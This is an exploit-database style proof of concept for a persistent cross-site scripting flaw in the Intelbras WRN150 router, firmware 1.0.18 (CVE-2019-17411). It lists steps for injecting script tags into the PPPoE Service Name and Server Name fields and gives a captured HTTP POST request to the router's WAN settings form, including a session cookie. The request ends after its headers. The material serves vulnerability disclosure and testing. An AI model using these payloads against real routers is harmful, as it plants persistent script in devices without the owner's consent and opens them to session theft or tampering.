Intelbras Router WRN150 1.0.18 Cross Site Scripting

`# Exploit Title: Intelbras Router WRN150 1.0.18 - Persistent Cross-Site Scripting  
# Date: 2019-10-03  
# Exploit Author: Prof. Joas Antonio  
# Vendor Homepage: https://www.intelbras.com/pt-br/  
# Software Link: http://en.intelbras.com.br/node/25896  
# Version: 1.0.18  
# Tested on: Windows  
# CVE : CVE-2019–17411  
  
# PoC 1:  
  
1) Login to your router  
  
2) After signing in as WAN Settings  
  
3) Select for PPPOE mode  
  
4) In the Service Name and Server Name field, enter any of these payloads:  
  
<script> alert ("Hacked") </script>  
  
<script> alert (1) </script>  
  
# PoC burp.txt  
  
POST /goform/AdvSetWan HTTP/1.1  
Host: TARGET  
Content-Length: 281  
Cache-Control: max-age=0  
Origin: http://TARGET  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3  
Referer: http://TARGET/wan_connected.asp  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: ecos_pw=bWFkYXJhMTIxMQ==2dw:language=pt  
Connection: close  
`